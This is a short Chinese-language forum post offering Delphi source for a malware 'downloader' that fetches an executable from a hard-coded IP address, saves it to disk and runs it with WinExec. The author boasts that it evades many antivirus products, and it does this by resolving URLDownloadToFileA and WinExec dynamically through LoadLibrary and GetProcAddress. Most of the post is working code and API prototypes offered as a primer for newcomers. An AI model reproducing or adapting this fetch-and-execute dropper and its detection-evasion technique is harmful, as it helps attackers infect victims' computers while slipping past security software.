自己编译这份代码看看 过N多杀软  没什么技术含量
只是发出来给不懂的人入入门 也防止有新人老是来问

ShellApi,URLMon 单元

//Delphi动态调用API函数
procedure TForm1.Button1Click(Sender: TObject);
var
   SourceFile:ansistring;
   DestFile :ansistring;
   down2:function(Caller: IUnknown; URL: PChar; FileName: PChar;
Longint: DWORD; StatusCB: IBindStatusCallback): Longint; stdcall;
   exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;

begin
    SourceFile:='http://172.16.126.152/UrlDown/k8team.exe';
    DestFile := 'f:\bbbaa.exe';

//原函数  下载完就执行 典型的下载者 常用函数 是个杀软都会杀得你连路都不见
    //UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
    //WinExec(Pchar(DestFile),SW_SHOW);  //要和原函数对应

//动态调用
    @Down2:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
    Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil);

//动态调用
    @exe2:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
    exe2(PChar(DestFile),SW_SHOW);

end;

//=================================================================================================================

附上函数原型

URLDownloadToFile 函数

function URLDownloadToFile;              external UrlMonLib name 'URLDownloadToFileA';

UrlMonLib = 'URLMON.DLL';
 
function URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName:
PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult;
stdcall;

WinExec函数
 
function WinExec; external kernel32 name 'WinExec';

kernel32  = 'kernel32.dll';

function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;